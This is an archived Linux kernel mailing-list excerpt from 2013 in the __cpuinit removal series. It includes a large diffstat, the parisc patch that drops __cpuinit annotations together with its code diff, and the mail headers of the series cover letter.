 arch/arm/mach-omap2/omap-mpuss-lowpower.c     |  2 +-
 arch/arm/mach-omap2/omap-smp.c                |  4 +-
 arch/arm/mach-omap2/omap-wakeupgen.c          |  4 +-
 arch/arm/mach-prima2/headsmp.S                |  2 -
 arch/arm/mach-prima2/platsmp.c                |  4 +-
 arch/arm/mach-shmobile/headsmp-scu.S          |  1 -
 arch/arm/mach-shmobile/headsmp.S              |  2 -
 arch/arm/mach-shmobile/smp-emev2.c            |  2 +-
 arch/arm/mach-shmobile/smp-r8a7779.c          |  2 +-
 arch/arm/mach-shmobile/smp-sh73a0.c           |  2 +-
 arch/arm/mach-socfpga/headsmp.S               |  1 -
 arch/arm/mach-socfpga/platsmp.c               |  2 +-
 arch/arm/mach-spear/generic.h                 |  2 +-
 arch/arm/mach-spear/platsmp.c                 |  4 +-
 arch/arm/mach-tegra/platsmp.c                 |  4 +-
 arch/arm/mach-tegra/pm.c                      |  2 +-
 arch/arm/mach-ux500/platsmp.c                 |  4 +-
 arch/arm/mach-zynq/common.h                   |  2 +-
 arch/arm/mach-zynq/headsmp.S                  |  2 -
 arch/arm/mach-zynq/platsmp.c                  |  6 +--
 arch/arm/mm/proc-arm1020.S                    |  2 -
 arch/arm/mm/proc-arm1020e.S                   |  2 -
 arch/arm/mm/proc-arm1022.S                    |  2 -
 arch/arm/mm/proc-arm1026.S                    |  3 --
 arch/arm/mm/proc-arm720.S                     |  2 -
 arch/arm/mm/proc-arm740.S                     |  2 -
 arch/arm/mm/proc-arm7tdmi.S                   |  2 -
 arch/arm/mm/proc-arm920.S                     |  2 -
 arch/arm/mm/proc-arm922.S                     |  2 -
 arch/arm/mm/proc-arm925.S                     |  2 -
 arch/arm/mm/proc-arm926.S                     |  2 -
 arch/arm/mm/proc-arm940.S                     |  2 -
 arch/arm/mm/proc-arm946.S                     |  2 -
 arch/arm/mm/proc-arm9tdmi.S                   |  2 -
 arch/arm/mm/proc-fa526.S                      |  2 -
 arch/arm/mm/proc-feroceon.S                   |  2 -
 arch/arm/mm/proc-mohawk.S                     |  2 -
 arch/arm/mm/proc-sa110.S                      |  2 -
 arch/arm/mm/proc-sa1100.S                     |  2 -
 arch/arm/mm/proc-v6.S                         |  2 -
 arch/arm/mm/proc-v7-2level.S                  |  4 --
 arch/arm/mm/proc-v7-3level.S                  |  4 --
 arch/arm/mm/proc-v7.S                         |  2 -
 arch/arm/mm/proc-xsc3.S                       |  2 -
 arch/arm/mm/proc-xscale.S                     |  2 -
 arch/arm/plat-versatile/platsmp.c             |  6 +--
 arch/arm64/include/asm/arch_timer.h           |  2 +-
 arch/arm64/kernel/debug-monitors.c            |  6 +--
 arch/arm64/kernel/hw_breakpoint.c             |  4 +-
 arch/arm64/kernel/smp.c                       |  8 ++--
 arch/blackfin/kernel/perf_event.c             |  2 +-
 arch/blackfin/kernel/setup.c                  |  4 +-
 arch/blackfin/mach-bf561/smp.c                |  6 +--
 arch/blackfin/mach-common/cache-c.c           |  4 +-
 arch/blackfin/mach-common/ints-priority.c     |  2 +-
 arch/blackfin/mach-common/smp.c               |  8 ++--
 arch/cris/arch-v32/kernel/smp.c               |  2 +-
 arch/frv/kernel/setup.c                       |  2 +-
 arch/hexagon/kernel/setup.c                   |  2 +-
 arch/hexagon/kernel/smp.c                     |  4 +-
 arch/ia64/kernel/acpi.c                       |  4 +-
 arch/ia64/kernel/err_inject.c                 |  8 ++--
 arch/ia64/kernel/mca.c                        | 12 ++---
 arch/ia64/kernel/numa.c                       |  4 +-
 arch/ia64/kernel/palinfo.c                    |  4 +-
 arch/ia64/kernel/salinfo.c                    |  4 +-
 arch/ia64/kernel/setup.c                      | 10 ++---
 arch/ia64/kernel/smpboot.c                    |  8 ++--
 arch/ia64/kernel/topology.c                   | 18 ++++----
 arch/ia64/mm/contig.c                         |  3 +-
 arch/ia64/mm/discontig.c                      |  2 +-
 arch/ia64/mm/numa.c                           |  2 +-
 arch/ia64/sn/kernel/setup.c                   |  8 ++--
 arch/ia64/xen/hypervisor.c                    |  2 +-
 arch/m32r/kernel/smpboot.c                    |  2 +-
 arch/metag/kernel/perf/perf_event.c           |  6 +--
 arch/metag/kernel/smp.c                       | 16 +++----
 arch/metag/kernel/traps.c                     |  2 +-
 arch/openrisc/kernel/setup.c                  |  2 +-
 arch/parisc/kernel/firmware.c                 | 14 +++---
 arch/parisc/kernel/hardware.c                 |  2 +-
 arch/parisc/kernel/processor.c                |  6 +--
 arch/parisc/kernel/smp.c                      |  8 ++--
 arch/powerpc/include/asm/rtas.h               |  4 +-
 arch/powerpc/include/asm/vdso.h               |  2 +-
 arch/powerpc/kernel/cacheinfo.c               | 36 ++++++++-------
 arch/powerpc/kernel/rtas.c                    |  4 +-
 arch/powerpc/kernel/smp.c                     |  4 +-
 arch/powerpc/kernel/sysfs.c                   |  6 +--
 arch/powerpc/kernel/time.c                    |  1 -
 arch/powerpc/kernel/vdso.c                    |  2 +-
 arch/powerpc/mm/44x_mmu.c                     |  6 +--
 arch/powerpc/mm/hash_utils_64.c               |  2 +-
 arch/powerpc/mm/mmu_context_nohash.c          |  6 +--
 arch/powerpc/mm/numa.c                        |  7 ++-
 arch/powerpc/mm/tlb_nohash.c                  |  2 +-
 arch/powerpc/perf/core-book3s.c               |  4 +-
 arch/powerpc/platforms/44x/currituck.c        |  4 +-
 arch/powerpc/platforms/44x/iss4xx.c           |  4 +-
 arch/powerpc/platforms/85xx/smp.c             |  6 +--
 arch/powerpc/platforms/powermac/smp.c         |  2 +-
 arch/powerpc/platforms/powernv/smp.c          |  2 +-
 arch/s390/kernel/cache.c                      | 15 +++----
 arch/s390/kernel/perf_cpum_cf.c               |  4 +-
 arch/s390/kernel/processor.c                  |  2 +-
 arch/s390/kernel/smp.c                        | 17 ++++---
 arch/s390/kernel/sysinfo.c                    |  2 +-
 arch/s390/kernel/vtime.c                      |  6 +--
 arch/s390/mm/fault.c                          |  4 +-
 arch/score/mm/tlb-score.c                     |  2 +-
 arch/sh/kernel/cpu/init.c                     | 18 ++++----
 arch/sh/kernel/cpu/sh2/probe.c                |  2 +-
 arch/sh/kernel/cpu/sh2a/probe.c               |  2 +-
 arch/sh/kernel/cpu/sh3/probe.c                |  2 +-
 arch/sh/kernel/cpu/sh4/probe.c                |  2 +-
 arch/sh/kernel/cpu/sh4a/smp-shx3.c            |  6 +--
 arch/sh/kernel/cpu/sh5/probe.c                |  2 +-
 arch/sh/kernel/perf_event.c                   |  4 +-
 arch/sh/kernel/process.c                      |  2 +-
 arch/sh/kernel/setup.c                        |  2 +-
 arch/sh/kernel/smp.c                          |  8 ++--
 arch/sh/kernel/traps_32.c                     |  2 +-
 arch/sh/kernel/traps_64.c                     |  2 +-
 arch/sh/mm/tlb-sh5.c                          |  2 +-
 arch/sparc/kernel/ds.c                        | 11 ++---
 arch/sparc/kernel/entry.h                     |  2 +-
 arch/sparc/kernel/hvtramp.S                   |  1 -
 arch/sparc/kernel/irq_64.c                    |  5 ++-
 arch/sparc/kernel/leon_smp.c                  | 10 ++---
 arch/sparc/kernel/mdesc.c                     | 34 +++++++-------
 arch/sparc/kernel/smp_32.c                    | 20 ++++-----
 arch/sparc/kernel/smp_64.c                    |  9 ++--
 arch/sparc/kernel/sun4d_smp.c                 |  6 +--
 arch/sparc/kernel/sun4m_smp.c                 |  6 +--
 arch/sparc/kernel/sysfs.c                     |  4 +-
 arch/sparc/kernel/trampoline_32.S             |  3 --
 arch/sparc/kernel/trampoline_64.S             |  2 -
 arch/sparc/mm/init_64.c                       |  2 +-
 arch/sparc/mm/srmmu.c                         | 12 ++---
 arch/tile/kernel/irq.c                        |  2 +-
 arch/tile/kernel/messaging.c                  |  2 +-
 arch/tile/kernel/setup.c                      | 12 ++---
 arch/tile/kernel/smpboot.c                    |  8 ++--
 arch/tile/kernel/time.c                       |  2 +-
 arch/x86/include/asm/cpu.h                    |  2 +-
 arch/x86/include/asm/microcode.h              |  4 +-
 arch/x86/include/asm/microcode_intel.h        |  4 +-
 arch/x86/include/asm/mmconfig.h               |  4 +-
 arch/x86/include/asm/mpspec.h                 |  2 +-
 arch/x86/include/asm/numa.h                   |  6 +--
 arch/x86/include/asm/prom.h                   |  2 +-
 arch/x86/include/asm/smp.h                    |  2 +-
 arch/x86/kernel/acpi/boot.c                   |  6 +--
 arch/x86/kernel/apic/apic.c                   | 30 ++++++-------
 arch/x86/kernel/apic/apic_numachip.c          |  2 +-
 arch/x86/kernel/apic/es7000_32.c              |  2 +-
 arch/x86/kernel/apic/numaq_32.c               |  2 +-
 arch/x86/kernel/apic/x2apic_cluster.c         |  2 +-
 arch/x86/kernel/apic/x2apic_uv_x.c            | 14 +++---
 arch/x86/kernel/cpu/amd.c                     | 33 +++++++-------
 arch/x86/kernel/cpu/centaur.c                 | 26 +++++------
 arch/x86/kernel/cpu/common.c                  | 64 +++++++++++++--------------
 arch/x86/kernel/cpu/cyrix.c                   | 40 ++++++++---------
 arch/x86/kernel/cpu/hypervisor.c              |  2 +-
 arch/x86/kernel/cpu/intel.c                   | 30 ++++++-------
 arch/x86/kernel/cpu/intel_cacheinfo.c         | 55 +++++++++++------------
 arch/x86/kernel/cpu/mcheck/mce.c              | 23 +++++-----
 arch/x86/kernel/cpu/mcheck/mce_amd.c          | 14 +++---
 arch/x86/kernel/cpu/mcheck/therm_throt.c      |  9 ++--
 arch/x86/kernel/cpu/perf_event.c              |  2 +-
 arch/x86/kernel/cpu/perf_event_amd_ibs.c      |  2 +-
 arch/x86/kernel/cpu/perf_event_amd_uncore.c   | 31 +++++++------
 arch/x86/kernel/cpu/perf_event_intel_uncore.c | 20 ++++-----
 arch/x86/kernel/cpu/rdrand.c                  |  2 +-
 arch/x86/kernel/cpu/scattered.c               |  4 +-
 arch/x86/kernel/cpu/topology.c                |  2 +-
 arch/x86/kernel/cpu/transmeta.c               |  6 +--
 arch/x86/kernel/cpu/umc.c                     |  2 +-
 arch/x86/kernel/cpu/vmware.c                  |  2 +-
 arch/x86/kernel/cpuid.c                       |  7 ++-
 arch/x86/kernel/devicetree.c                  |  2 +-
 arch/x86/kernel/head_32.S                     |  1 -
 arch/x86/kernel/i387.c                        |  8 ++--
 arch/x86/kernel/irq_32.c                      |  2 +-
 arch/x86/kernel/kvm.c                         | 10 ++---
 arch/x86/kernel/kvmclock.c                    |  2 +-
 arch/x86/kernel/microcode_core.c              |  2 +-
 arch/x86/kernel/microcode_core_early.c        |  6 +--
 arch/x86/kernel/microcode_intel_early.c       | 26 +++++------
 arch/x86/kernel/mmconf-fam10h_64.c            | 12 ++---
 arch/x86/kernel/msr.c                         |  6 +--
 arch/x86/kernel/process.c                     |  2 +-
 arch/x86/kernel/setup.c                       |  2 +-
 arch/x86/kernel/smpboot.c                     | 28 ++++++------
 arch/x86/kernel/tboot.c                       |  6 +--
 arch/x86/kernel/tsc.c                         |  4 +-
 arch/x86/kernel/tsc_sync.c                    | 18 ++++----
 arch/x86/kernel/vsyscall_64.c                 |  6 +--
 arch/x86/kernel/x86_init.c                    |  4 +-
 arch/x86/kernel/xsave.c                       |  4 +-
 arch/x86/mm/mmio-mod.c                        |  4 +-
 arch/x86/mm/numa.c                            | 12 ++---
 arch/x86/mm/numa_emulation.c                  | 12 ++---
 arch/x86/mm/setup_nx.c                        |  4 +-
 arch/x86/pci/amd_bus.c                        |  8 ++--
 arch/x86/platform/ce4100/ce4100.c             |  2 +-
 arch/x86/platform/mrst/mrst.c                 |  4 +-
 arch/x86/xen/enlighten.c                      |  6 +--
 arch/x86/xen/setup.c                          |  6 +--
 arch/x86/xen/smp.c                            | 12 ++---
 arch/x86/xen/spinlock.c                       |  2 +-
 arch/x86/xen/xen-ops.h                        |  2 +-
 arch/xtensa/kernel/time.c                     |  2 +-
 block/blk-iopoll.c                            |  6 +--
 block/blk-softirq.c                           |  6 +--
 drivers/acpi/acpi_processor.c                 |  2 +-
 drivers/acpi/processor_core.c                 |  8 ++--
 drivers/acpi/processor_driver.c               |  8 ++--
 drivers/acpi/processor_idle.c                 |  6 +--
 drivers/base/cpu.c                            |  2 +-
 drivers/base/topology.c                       | 10 ++---
 drivers/clocksource/arm_arch_timer.c          |  8 ++--
 drivers/clocksource/exynos_mct.c              |  4 +-
 drivers/clocksource/metag_generic.c           |  6 +--
 drivers/clocksource/time-armada-370-xp.c      |  4 +-
 drivers/clocksource/timer-marco.c             |  4 +-
 drivers/cpufreq/cpufreq.c                     |  4 +-
 drivers/cpufreq/cpufreq_stats.c               |  4 +-
 drivers/cpufreq/dbx500-cpufreq.c              |  2 +-
 drivers/cpufreq/intel_pstate.c                |  4 +-
 drivers/cpufreq/longhaul.c                    |  6 +--
 drivers/cpufreq/longhaul.h                    | 26 +++++------
 drivers/cpufreq/longrun.c                     |  8 ++--
 drivers/cpufreq/omap-cpufreq.c                |  2 +-
 drivers/cpufreq/powernow-k7.c                 |  8 ++--
 drivers/cpufreq/powernow-k8.c                 |  6 +--
 drivers/hwmon/coretemp.c                      | 39 ++++++++--------
 drivers/hwmon/via-cputemp.c                   |  8 ++--
 drivers/irqchip/irq-gic.c                     |  8 ++--
 drivers/oprofile/timer_int.c                  |  4 +-
 drivers/xen/xen-acpi-cpuhotplug.c             |  2 +-
 include/asm-generic/vmlinux.lds.h             | 12 -----
 include/linux/cpu.h                           |  2 +-
 include/linux/init.h                          | 19 ++++----
 include/linux/perf_event.h                    |  2 +-
 init/calibrate.c                              | 13 +++---
 kernel/cpu.c                                  |  6 +--
 kernel/events/core.c                          |  4 +-
 kernel/fork.c                                 |  2 +-
 kernel/hrtimer.c                              |  6 +--
 kernel/printk.c                               |  2 +-
 kernel/profile.c                              |  2 +-
 kernel/rcutorture.c                           |  6 +--
 kernel/rcutree.c                              |  6 +--
 kernel/rcutree.h                              |  4 +-
 kernel/rcutree_plugin.h                       |  6 +--
 kernel/relay.c                                |  2 +-
 kernel/sched/core.c                           | 12 ++---
 kernel/sched/fair.c                           |  2 +-
 kernel/smp.c                                  |  2 +-
 kernel/smpboot.c                              |  2 +-
 kernel/softirq.c                              |  8 ++--
 kernel/time/tick-sched.c                      |  2 +-
 kernel/timer.c                                | 10 ++---
 kernel/workqueue.c                            |  4 +-
 lib/Kconfig.debug                             |  2 +-
 lib/earlycpio.c                               |  2 +-
 lib/percpu_counter.c                          |  2 +-
 mm/memcontrol.c                               |  2 +-
 mm/page-writeback.c                           |  4 +-
 mm/slab.c                                     | 10 ++---
 mm/slub.c                                     |  4 +-
 mm/vmstat.c                                   |  6 +--
 net/core/flow.c                               |  4 +-
 net/iucv/iucv.c                               |  2 +-
 scripts/mod/modpost.c                         | 52 ++++------------------
 307 files changed, 896 insertions(+), 1037 deletions(-)

-- 
1.8.1.2

From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 05/32] parisc: delete __cpuinit usage from all users
Date: Mon, 24 Jun 2013 15:30:10 -0400
Lines: 172
Approved: news@gmane.org
Message-ID: <1372102237-8757-6-git-send-email-paul.gortmaker@windriver.com>
References: <1372102237-8757-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1372102874 28322 80.91.229.3 (24 Jun 2013 19:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Jun 2013 19:41:14 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 24 21:41:13 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UrCdT-0004BB-8d
	for glk-linux-kernel-3@plane.gmane.org; Mon, 24 Jun 2013 21:41:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752162Ab3FXTlA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 24 Jun 2013 15:41:00 -0400
Original-Received: from mail.windriver.com ([147.11.1.11]:47188 "EHLO
	mail.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751146Ab3FXTbT (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 24 Jun 2013 15:31:19 -0400
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
	by mail.windriver.com (8.14.5/8.14.3) with ESMTP id r5OJVG2r015148
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Mon, 24 Jun 2013 12:31:16 -0700 (PDT)
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.149.8) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.2.342.3; Mon, 24 Jun 2013 12:31:15 -0700
X-Mailer: git-send-email 1.8.1.2
In-Reply-To: <1372102237-8757-1-git-send-email-paul.gortmaker@windriver.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1514507 gmane.linux.ports.parisc:5167
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1514507>

The __cpuinit type of throwaway sections might have made sense
some time ago when RAM was more constrained, but now the savings
do not offset the cost and complications.  For example, the fix in
commit 5e427ec2d0 ("x86: Fix bit corruption at CPU resume time")
is a good example of the nasty type of bugs that can be created
with improper use of the various __init prefixes.

After a discussion on LKML[1] it was decided that cpuinit should go
the way of devinit and be phased out.  Once all the users are gone,
we can then finally remove the macros themselves from linux/init.h.

This removes all the parisc uses of the __cpuinit macros.

[1] https://lkml.org/lkml/2013/5/20/589

Acked-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---

[This commit is part of the __cpuinit removal work.  If you don't see
 any problems with it, then you don't have to do anything ; it will be
 submitted with all the rest of the __cpuinit removal work.  On the
 other hand, if you want to carry this patch in with your other pending
 changes so as to handle conflicts with other pending work yourself, then
 that is fine too, as the commits can largely be treated independently.
 For more information, please see: https://lkml.org/lkml/2013/6/20/513 ]

 arch/parisc/kernel/firmware.c  | 14 ++++++++------
 arch/parisc/kernel/hardware.c  |  2 +-
 arch/parisc/kernel/processor.c |  6 +++---
 arch/parisc/kernel/smp.c       |  8 ++++----
 4 files changed, 16 insertions(+), 14 deletions(-)

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index f65fa48..2239590 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -150,7 +150,7 @@ static void convert_to_wide(unsigned long *addr)
 }
 
 #ifdef CONFIG_64BIT
-void __cpuinit set_firmware_width_unlocked(void)
+void set_firmware_width_unlocked(void)
 {
 	int ret;
 
@@ -167,7 +167,7 @@ void __cpuinit set_firmware_width_unlocked(void)
  * This function must be called before any pdc_* function that uses the
  * convert_to_wide function.
  */
-void __cpuinit set_firmware_width(void)
+void set_firmware_width(void)
 {
 	unsigned long flags;
 	spin_lock_irqsave(&pdc_lock, flags);
@@ -175,11 +175,13 @@ void __cpuinit set_firmware_width(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 #else
-void __cpuinit set_firmware_width_unlocked(void) {
+void set_firmware_width_unlocked(void)
+{
 	return;
 }
 
-void __cpuinit set_firmware_width(void) {
+void set_firmware_width(void)
+{
 	return;
 }
 #endif /*CONFIG_64BIT*/
@@ -301,7 +303,7 @@ int pdc_chassis_warn(unsigned long *warn)
 	return retval;
 }
 
-int __cpuinit pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
+int pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
 {
 	int ret;
 
@@ -322,7 +324,7 @@ int __cpuinit pdc_coproc_cfg_unlocked(struct pdc_coproc_cfg *pdc_coproc_info)
  * This PDC call returns the presence and status of all the coprocessors
  * attached to the processor.
  */
-int __cpuinit pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
+int pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
 {
 	int ret;
 	unsigned long flags;
diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 8722756..06cb399 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -1367,7 +1367,7 @@ const char *parisc_hardware_description(struct parisc_device_id *id)
 
 
 /* Interpret hversion (ret[0]) from PDC_MODEL(4)/PDC_MODEL_INFO(0) */
-enum cpu_type __cpuinit
+enum cpu_type
 parisc_get_cpu_type(unsigned long hversion)
 {
 	struct hp_cpu_type_mask *ptr;
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index c8fb61e..a128a94 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -73,7 +73,7 @@ extern int update_cr16_clocksource(void);	/* from time.c */
  *
  * FIXME: doesn't do much yet...
  */
-static void __cpuinit
+static void
 init_percpu_prof(unsigned long cpunum)
 {
 	struct cpuinfo_parisc *p;
@@ -92,7 +92,7 @@ init_percpu_prof(unsigned long cpunum)
  * (return 1).  If so, initialize the chip and tell other partners in crime 
  * they have work to do.
  */
-static int __cpuinit processor_probe(struct parisc_device *dev)
+static int processor_probe(struct parisc_device *dev)
 {
 	unsigned long txn_addr;
 	unsigned long cpuid;
@@ -299,7 +299,7 @@ void __init collect_boot_cpu_data(void)
  *
  * o Enable CPU profiling hooks.
  */
-int __cpuinit init_per_cpu(int cpunum)
+int init_per_cpu(int cpunum)
 {
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index e3614fb..8a252f2 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -62,9 +62,9 @@ static int smp_debug_lvl = 0;
 volatile struct task_struct *smp_init_current_idle_task;
 
 /* track which CPU is booting */
-static volatile int cpu_now_booting __cpuinitdata;
+static volatile int cpu_now_booting;
 
-static int parisc_max_cpus __cpuinitdata = 1;
+static int parisc_max_cpus = 1;
 
 static DEFINE_PER_CPU(spinlock_t, ipi_lock);
 
@@ -328,7 +328,7 @@ void __init smp_callin(void)
 /*
  * Bring one cpu online.
  */
-int __cpuinit smp_boot_one_cpu(int cpuid, struct task_struct *idle)
+int smp_boot_one_cpu(int cpuid, struct task_struct *idle)
 {
 	const struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpuid);
 	long timeout;
@@ -424,7 +424,7 @@ void smp_cpus_done(unsigned int cpu_max)
 }
 
 
-int __cpuinit __cpu_up(unsigned int cpu, struct task_struct *tidle)
+int __cpu_up(unsigned int cpu, struct task_struct *tidle)
 {
 	if (cpu != 0 && cpu < parisc_max_cpus)
 		smp_boot_one_cpu(cpu, tidle);
-- 
1.8.1.2


From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker-CWA4WttNNZF54TAoqtyWWQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.kernel.cpufreq,gmane.linux.drivers.sensors,gmane.linux.acpi.devel,gmane.linux.network,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: [PATCH-next 00/32] Delete support for __cpuinit
Date: Mon, 24 Jun 2013 16:00:21 -0400
Lines: 445
Approved: news@gmane.org
Message-ID: <51C8A555.8090006@windriver.com>
References: <1372102237-8757-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1372104018 8259 80.91.229.3 (24 Jun 2013 20:00:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Jun 2013 20:00:18 +0000 (UTC)
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
        linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
        linux390-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        cpufreq-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, lm-sensors-GZX6beZjE8VD60Wz+7aTrA@public.gmane.org,
        linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Paul Gortmaker <paul.gortmaker-CWA4WttNNZF54TAoqtyWWQ@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Jun 24 22:00:17 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UrCvw-0002UV-6p
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Mon, 24 Jun 2013 22:00:16 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r5OJTinY012364;
	Mon, 24 Jun 2013 15:29:44 -0400
Original-Received: from mail.windriver.com (mail.windriver.com [147.11.1.11])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r5OJTZWc012360 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 24 Jun 2013 15:29:41 -0400
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com
	[147.11.189.40])
	by mail.windriver.com (8.14.5/8.14.3) with ESMTP id r5OJxaAM019150
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Mon, 24 Jun 2013 12:59:36 -0700 (PDT)
Original-Received: from [128.224.146.65] (128.224.146.65) by ALA-HCA.corp.ad.wrs.com
	(147.11.189.40) with Microsoft SMTP Server id 14.2.342.3;
	Mon, 24 Jun 2013 12:59:36 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
	rv:17.0) Gecko/20130329 Thunderbird/17.0.5
In-Reply-To: <1372102237-8757-1-git-send-email-paul.gortmaker-CWA4WttNNZF54TAoqtyWWQ@public.gmane.org>
X-Originating-IP: [128.224.146.65]
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
